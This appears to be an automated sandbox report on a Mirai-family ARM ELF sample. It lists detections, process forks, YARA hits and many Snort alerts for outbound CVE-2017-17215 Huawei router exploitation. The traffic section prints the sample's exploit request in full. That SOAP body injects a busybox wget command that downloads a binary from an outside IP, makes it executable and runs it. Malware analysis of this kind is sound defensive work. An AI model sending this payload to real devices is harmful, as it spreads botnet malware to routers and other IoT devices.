Edit tour

Linux Analysis Report
arm5-20231213-1917.elf

Overview

General Information

Sample name:	arm5-20231213-1917.elf
Analysis ID:	1361700
MD5:	6953d9e7ec31c6cbaaa311c05b46baa4
SHA1:	1e7bb3d792214a1eea5fb3e648e67f1da1961212
SHA256:	b48e9c74b3d1ee869829981932f168c2e8af837af0006a37615b8a81196a7efd
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic

Yara detected Mirai

Deletes system log files

Manipulation of devices in /dev

Sample deletes itself

Uses known network protocols on non-standard ports

Deletes log files

Detected TCP or UDP traffic on non-standard ports

Executes the "rm" command used to delete files or directories

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1361700
Start date and time:	2023-12-13 20:18:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 45s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm5-20231213-1917.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/1@0/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: arm5-20231213-1917.elf

Runtime Messages

Command:	/tmp/arm5-20231213-1917.elf
PID:	5461
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	kuru is just better
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5431, Parent: 3580)

cat (PID: 5431, Parent: 3580, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.y5TZ3XHDTM

dash New Fork (PID: 5432, Parent: 3580)

head (PID: 5432, Parent: 3580, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5433, Parent: 3580)

tr (PID: 5433, Parent: 3580, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5434, Parent: 3580)

cut (PID: 5434, Parent: 3580, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5436, Parent: 3580)

cat (PID: 5436, Parent: 3580, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.y5TZ3XHDTM

dash New Fork (PID: 5437, Parent: 3580)

head (PID: 5437, Parent: 3580, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5438, Parent: 3580)

tr (PID: 5438, Parent: 3580, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5439, Parent: 3580)

cut (PID: 5439, Parent: 3580, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5441, Parent: 3580)

rm (PID: 5441, Parent: 3580, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.y5TZ3XHDTM /tmp/tmp.HCF4m6rsFk /tmp/tmp.0o4O3gVMkV

arm5-20231213-1917.elf (PID: 5461, Parent: 5361, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm5-20231213-1917.elf

arm5-20231213-1917.elf New Fork (PID: 5463, Parent: 5461)

arm5-20231213-1917.elf New Fork (PID: 5465, Parent: 5463)

arm5-20231213-1917.elf New Fork (PID: 5471, Parent: 5465)

arm5-20231213-1917.elf New Fork (PID: 5467, Parent: 5463)

arm5-20231213-1917.elf New Fork (PID: 5477, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5479, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5481, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5489, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5494, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5497, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5499, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5507, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5510, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5538, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5541, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5546, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5548, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5551, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5558, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5561, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5567, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5570, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5577, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5579, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5587, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5590, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5597, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5599, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5605, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5608, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5610, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5618, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5620, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5626, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5628, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5633, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5636, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5645, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5648, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5657, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5659, Parent: 5467)

arm5-20231213-1917.elf New Fork (PID: 5468, Parent: 5463)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm5-20231213-1917.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author
5610.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5477.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5481.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5620.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5648.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5659.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5551.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5497.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5541.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5538.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5489.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5626.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5461.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5570.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5548.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5510.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5628.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5636.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5561.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5618.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5546.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5587.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5567.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5590.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5579.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5577.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5645.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5633.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5605.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5499.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5599.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5479.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5558.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5608.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5657.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5494.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5507.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5597.1.00007f68d0017000.00007f68d0027000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Click to see the 33 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.26.13

Timestamp:	192.168.2.13197.56.26.1349094372152835222 12/13/23-20:20:39.938658
SID:	2835222
Source Port:	49094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.62.24.118

Timestamp:	192.168.2.1341.62.24.11834332372152835222 12/13/23-20:19:17.763585
SID:	2835222
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.93.118.42

Timestamp:	192.168.2.13212.93.118.4236940372152829579 12/13/23-20:20:39.889859
SID:	2829579
Source Port:	36940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.178.23

Timestamp:	192.168.2.1341.36.178.2357096372152835222 12/13/23-20:19:33.620864
SID:	2835222
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.43.123.183

Timestamp:	192.168.2.1334.43.123.18342908372152835222 12/13/23-20:19:42.549996
SID:	2835222
Source Port:	42908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.248.161

Timestamp:	192.168.2.13157.230.248.16138782372152835222 12/13/23-20:20:29.089986
SID:	2835222
Source Port:	38782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.65.59

Timestamp:	192.168.2.1341.232.65.5952278372152829579 12/13/23-20:20:28.998477
SID:	2829579
Source Port:	52278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.220.142

Timestamp:	192.168.2.1394.122.220.14241954372152829579 12/13/23-20:19:56.724241
SID:	2829579
Source Port:	41954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.104.48

Timestamp:	192.168.2.13197.56.104.4837278372152829579 12/13/23-20:19:38.126297
SID:	2829579
Source Port:	37278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.230.248.161

Timestamp:	192.168.2.13157.230.248.16138782372152829579 12/13/23-20:20:29.089986
SID:	2829579
Source Port:	38782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.98.148.203

Timestamp:	192.168.2.1387.98.148.20333800372152829579 12/13/23-20:20:40.122290
SID:	2829579
Source Port:	33800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.61.154.63

Timestamp:	192.168.2.13191.61.154.6339184372152829579 12/13/23-20:19:42.602057
SID:	2829579
Source Port:	39184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.26.13

Timestamp:	192.168.2.13197.56.26.1349094372152829579 12/13/23-20:20:39.938658
SID:	2829579
Source Port:	49094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.43.123.183

Timestamp:	192.168.2.1334.43.123.18342908372152829579 12/13/23-20:19:42.549996
SID:	2829579
Source Port:	42908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.104.48

Timestamp:	192.168.2.13197.56.104.4837278372152835222 12/13/23-20:19:38.126297
SID:	2835222
Source Port:	37278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.14.81

Timestamp:	192.168.2.1341.233.14.8138856372152829579 12/13/23-20:19:55.432353
SID:	2829579
Source Port:	38856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 107.178.188.121

Timestamp:	192.168.2.13107.178.188.12144100372152835222 12/13/23-20:20:19.585500
SID:	2835222
Source Port:	44100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 94.122.220.142

Timestamp:	192.168.2.1394.122.220.14241954372152835222 12/13/23-20:19:56.724241
SID:	2835222
Source Port:	41954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 212.93.118.42

Timestamp:	192.168.2.13212.93.118.4236940372152835222 12/13/23-20:20:39.889859
SID:	2835222
Source Port:	36940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 191.61.154.63

Timestamp:	192.168.2.13191.61.154.6339184372152835222 12/13/23-20:19:42.602057
SID:	2835222
Source Port:	39184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.70.152

Timestamp:	192.168.2.13197.56.70.15233650372152829579 12/13/23-20:19:44.964907
SID:	2829579
Source Port:	33650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.149.184.84

Timestamp:	192.168.2.1334.149.184.8435290372152829579 12/13/23-20:19:36.796830
SID:	2829579
Source Port:	35290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.4.24

Timestamp:	192.168.2.1341.43.4.2445168372152829579 12/13/23-20:19:28.237760
SID:	2829579
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 107.178.188.121

Timestamp:	192.168.2.13107.178.188.12144100372152829579 12/13/23-20:20:19.585500
SID:	2829579
Source Port:	44100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.110.42

Timestamp:	192.168.2.1341.47.110.4236580372152835222 12/13/23-20:20:04.124910
SID:	2835222
Source Port:	36580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.245.40

Timestamp:	192.168.2.1341.34.245.4054608372152835222 12/13/23-20:20:33.549315
SID:	2835222
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.62.24.118

Timestamp:	192.168.2.1341.62.24.11834332372152829579 12/13/23-20:19:17.763585
SID:	2829579
Source Port:	34332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.36.178.23

Timestamp:	192.168.2.1341.36.178.2357096372152829579 12/13/23-20:19:33.620864
SID:	2829579
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 34.149.184.84

Timestamp:	192.168.2.1334.149.184.8435290372152835222 12/13/23-20:19:36.796830
SID:	2835222
Source Port:	35290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.43.4.24

Timestamp:	192.168.2.1341.43.4.2445168372152835222 12/13/23-20:19:28.237760
SID:	2835222
Source Port:	45168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.56.70.152

Timestamp:	192.168.2.13197.56.70.15233650372152835222 12/13/23-20:19:44.964907
SID:	2835222
Source Port:	33650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.233.14.81

Timestamp:	192.168.2.1341.233.14.8138856372152835222 12/13/23-20:19:55.432353
SID:	2835222
Source Port:	38856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.47.110.42

Timestamp:	192.168.2.1341.47.110.4236580372152829579 12/13/23-20:20:04.124910
SID:	2829579
Source Port:	36580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.34.245.40

Timestamp:	192.168.2.1341.34.245.4054608372152829579 12/13/23-20:20:33.549315
SID:	2829579
Source Port:	54608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.232.65.59

Timestamp:	192.168.2.1341.232.65.5952278372152835222 12/13/23-20:20:28.998477
SID:	2835222
Source Port:	52278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 87.98.148.203

Timestamp:	192.168.2.1387.98.148.20333800372152835222 12/13/23-20:20:40.122290
SID:	2835222
Source Port:	33800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 31 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: arm5-20231213-1917.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: arm5-20231213-1917.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: motd-news.22.dr	String found in binary or memory: https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58864
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 443

Source: unknown

HTTPS traffic detected: 54.171.230.55:443 -> 192.168.2.13:58864 version: TLS 1.2

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.171 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal80.troj.evad.linELF@0/1@0/0

Data Obfuscation

Manipulation of devices in /dev

Source: /tmp/arm5-20231213-1917.elf (PID: 5467)

Deleted: /dev/kmsg

Jump to behavior

Source: /usr/bin/dash (PID: 5441)

Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.y5TZ3XHDTM /tmp/tmp.HCF4m6rsFk /tmp/tmp.0o4O3gVMkV

Jump to behavior

